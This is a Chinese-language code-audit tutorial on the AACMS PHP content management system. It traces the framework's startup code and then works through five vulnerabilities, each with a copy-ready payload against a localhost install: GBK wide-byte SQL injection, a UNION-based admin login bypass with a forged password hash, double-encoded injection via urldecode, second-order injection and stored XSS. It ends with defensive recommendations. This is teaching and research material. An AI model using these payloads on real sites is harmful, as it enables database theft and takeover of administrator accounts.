通读审计之AACMS
字数 1236 2025-08-18 11:39:30

AACMS代码审计与漏洞分析教学文档

0x00 系统概述

AACMS是一个基于MVC架构的PHP内容管理系统,虽然非主流但结构清晰,适合学习MVC框架和代码审计。

系统特点

  • 采用单例模式设计
  • 使用MVC架构
  • 默认GBK编码
  • 包含多个入口点:index.php、admin.php、article.php

0x01 框架分析

核心初始化流程

  1. 入口文件(index.php)

    • 包含核心文件并实例化Core类
    • 调用init()方法初始化系统
  2. Core类构造方法

    • 初始化全局变量$_G
    • 包含功能函数文件
    • 处理X-Forwarded-For头(有限制)
  3. 初始化方法

    • _init_config(): 加载配置文件
    • _init_input(): 处理输入数据,使用daddslashes()过滤
    • _init_output(): 设置输出缓冲
    • 数据库连接初始化

数据库处理

  • 使用DB类管理数据库连接
  • 默认GBK字符集
  • 封装了daddslashes()函数(基于addslashes)

0x02 漏洞分析

1. 宽字节注入漏洞

漏洞位置:admin\admin_member.php

成因

  • 数据库使用GBK编码
  • 使用daddslashes()进行过滤
  • 可通过宽字节(%df')绕过转义

利用方式

POST提交:username=heihu%df' or 1=1 #

影响

  • 可进行报错注入获取敏感信息

2. 后台万能密码登录漏洞

漏洞位置:admin.php登录验证

利用步骤

  1. 构造UNION注入查询
  2. 伪造密码哈希值

Payload示例

formhash=eba3baf7&admin_username=heihu%df' UNION SELECT 1,2,0x6433356536363866373765653433326661646534396637643763666436616434,4,1,6,7,8,9,10,11,12,13 -- &admin_password=3&loginsubmit=%26%23160%3B%C8%B7%B6%A8%26%23160%3B

原理

  • 通过UNION注入构造返回记录
  • 伪造密码哈希绕过验证

3. urldecode导致的注入漏洞

漏洞位置:\admin\admin_misc.php

成因

  • 对输入进行urldecode处理
  • 双重编码可绕过daddslashes

Payload示例

http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu_add&title=a%2527%20or%20updatexml(1,concat(1,user(),1),1)--%20&url=b

4. 二次注入漏洞

漏洞位置:同上

利用方式

  1. 第一次注入将恶意数据存入数据库
  2. 第二次查询时触发注入

Payload示例

http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu_add&title=12&url=1%2527,1),(user(),1,1)%20--%20

验证URL

http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu

5. XSS漏洞

漏洞位置:后台自定义菜单功能

成因

  • 输入仅经过addslashes处理
  • 未过滤HTML标签
  • 直接输出到页面

Payload示例

http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu_add&title=%22%20onclick=%27alert(1)%27%3E&url=%22%20onclick=%27alert(1)%27%3E

0x03 防御建议

  1. SQL注入防御

    • 使用预处理语句
    • 统一字符集为UTF-8
    • 替换addslashes为更安全的过滤方式
  2. XSS防御

    • 输出时使用htmlspecialchars
    • 严格过滤输入中的HTML标签
  3. 其他建议

    • 对urldecode处理后的数据进行二次过滤
    • 实现CSRF防护机制
    • 加强后台验证

0x04 总结

AACMS展示了多个经典漏洞类型,是学习代码审计的优秀案例。通过分析这些漏洞,可以深入理解:

  • MVC框架的安全处理流程
  • 编码转换导致的注入问题
  • 二次注入的原理和利用
  • 前后端协同的安全防护重要性

这些漏洞虽然主要在后台,但揭示了Web应用安全的关键问题,对开发者和安全研究人员都有重要参考价值。

AACMS代码审计与漏洞分析教学文档 0x00 系统概述 AACMS是一个基于MVC架构的PHP内容管理系统,虽然非主流但结构清晰,适合学习MVC框架和代码审计。 系统特点 采用单例模式设计 使用MVC架构 默认GBK编码 包含多个入口点:index.php、admin.php、article.php 0x01 框架分析 核心初始化流程 入口文件(index.php) 包含核心文件并实例化Core类 调用init()方法初始化系统 Core类构造方法 初始化全局变量 $_G 包含功能函数文件 处理X-Forwarded-For头(有限制) 初始化方法 _init_config() : 加载配置文件 _init_input() : 处理输入数据,使用 daddslashes() 过滤 _init_output() : 设置输出缓冲 数据库连接初始化 数据库处理 使用DB类管理数据库连接 默认GBK字符集 封装了 daddslashes() 函数(基于addslashes) 0x02 漏洞分析 1. 宽字节注入漏洞 漏洞位置 :admin\admin_ member.php 成因 : 数据库使用GBK编码 使用 daddslashes() 进行过滤 可通过宽字节(%df')绕过转义 利用方式 : 影响 : 可进行报错注入获取敏感信息 2. 后台万能密码登录漏洞 漏洞位置 :admin.php登录验证 利用步骤 : 构造UNION注入查询 伪造密码哈希值 Payload示例 : 原理 : 通过UNION注入构造返回记录 伪造密码哈希绕过验证 3. urldecode导致的注入漏洞 漏洞位置 :\admin\admin_ misc.php 成因 : 对输入进行urldecode处理 双重编码可绕过daddslashes Payload示例 : 4. 二次注入漏洞 漏洞位置 :同上 利用方式 : 第一次注入将恶意数据存入数据库 第二次查询时触发注入 Payload示例 : 验证URL : 5. XSS漏洞 漏洞位置 :后台自定义菜单功能 成因 : 输入仅经过addslashes处理 未过滤HTML标签 直接输出到页面 Payload示例 : 0x03 防御建议 SQL注入防御 使用预处理语句 统一字符集为UTF-8 替换addslashes为更安全的过滤方式 XSS防御 输出时使用htmlspecialchars 严格过滤输入中的HTML标签 其他建议 对urldecode处理后的数据进行二次过滤 实现CSRF防护机制 加强后台验证 0x04 总结 AACMS展示了多个经典漏洞类型,是学习代码审计的优秀案例。通过分析这些漏洞,可以深入理解: MVC框架的安全处理流程 编码转换导致的注入问题 二次注入的原理和利用 前后端协同的安全防护重要性 这些漏洞虽然主要在后台,但揭示了Web应用安全的关键问题,对开发者和安全研究人员都有重要参考价值。